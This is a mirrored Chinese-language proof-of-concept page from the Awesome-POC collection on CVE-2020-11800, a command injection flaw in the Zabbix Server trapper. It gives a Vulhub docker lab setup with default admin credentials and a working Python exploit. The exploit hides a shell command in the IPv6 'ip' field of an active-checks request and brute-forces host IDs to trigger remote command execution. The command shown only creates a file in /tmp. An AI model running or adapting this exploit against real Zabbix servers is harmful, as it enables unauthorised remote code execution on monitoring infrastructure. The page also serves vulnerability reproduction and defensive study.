mirror of
https://github.com/Threekiii/Awesome-POC.git
synced 2025-11-07 11:58:05 +00:00
59 lines
1.9 KiB
Markdown
59 lines
1.9 KiB
Markdown
|
# Zabbix Server trapper命令注入漏洞 CVE-2020-11800
|
|||
|
|
|
|||
|
|
## 漏洞描述
|
|||
|
|
|
|||
|
|
Zabbix 是由Alexei Vladishev 开发的一种网络监视、管理系统，基于 Server-Client 架构。在[CVE-2017-2824](https://github.com/vulhub/vulhub/blob/master/zabbix/CVE-2017-2824)中，其Server端 trapper command 功能存在一处代码执行漏洞，而修复补丁并不完善，导致可以利用IPv6进行绕过，注入任意命令。
|
|||
|
|
|
|||
|
|
参考链接：
|
|||
|
|
|
|||
|
|
- https://xz.aliyun.com/t/8991
|
|||
|
|
|
|||
|
|
## 环境搭建
|
|||
|
|
|
|||
|
|
Vulhub执行如下命令启动一个完整的Zabbix环境，包含Web端、Server端、1个Agent和Mysql数据库：
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
docker-compose up -d
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
命令执行后，执行`docker-compose ps`查看容器是否全部成功启动，如果没有，可以尝试重新执行`docker-compose up -d`。
|
|||
|
|
|
|||
|
|
使用账号密码`admin/zabbix`登录后台。利用该漏洞，需要你服务端开启了自动注册功能，开启方法请参考[CVE-2017-2824](https://github.com/vulhub/vulhub/blob/master/zabbix/CVE-2017-2824)。
|
|||
|
|
|
|||
|
|
## 漏洞复现
|
|||
|
|
|
|||
|
|
修改[CVE-2017-2824](https://github.com/vulhub/vulhub/blob/master/zabbix/CVE-2017-2824)的POC中的IP字段，构造新的POC：
|
|||
|
|
|
|||
|
|
```python
|
|||
|
|
import sys
|
|||
|
|
import socket
|
|||
|
|
import json
|
|||
|
|
import sys
|
|||
|
|
|
|||
|
|
|
|||
|
|
def send(ip, data):
|
|||
|
|
conn = socket.create_connection((ip, 10051), 10)
|
|||
|
|
conn.send(json.dumps(data).encode())
|
|||
|
|
data = conn.recv(2048)
|
|||
|
|
conn.close()
|
|||
|
|
return data
|
|||
|
|
|
|||
|
|
|
|||
|
|
target = sys.argv[1]
|
|||
|
|
print(send(target, {"request":"active checks","host":"vulhub","ip":"ffff:::;touch /tmp/awesome_poc_2"}))
|
|||
|
|
for i in range(10000, 10500):
|
|||
|
|
data = send(target, {"request":"command","scriptid":1,"hostid":str(i)})
|
|||
|
|
if data and b'failed' not in data:
|
|||
|
|
print('hostid: %d' % i)
|
|||
|
|
print(data)
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
当查看到如下结果时，则说明命令执行成功：
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
进入server容器，可见`/tmp/awesome_poc_2`已成功创建：
|
|||
|
|
|
|||
|
|
|
|||
|
|
|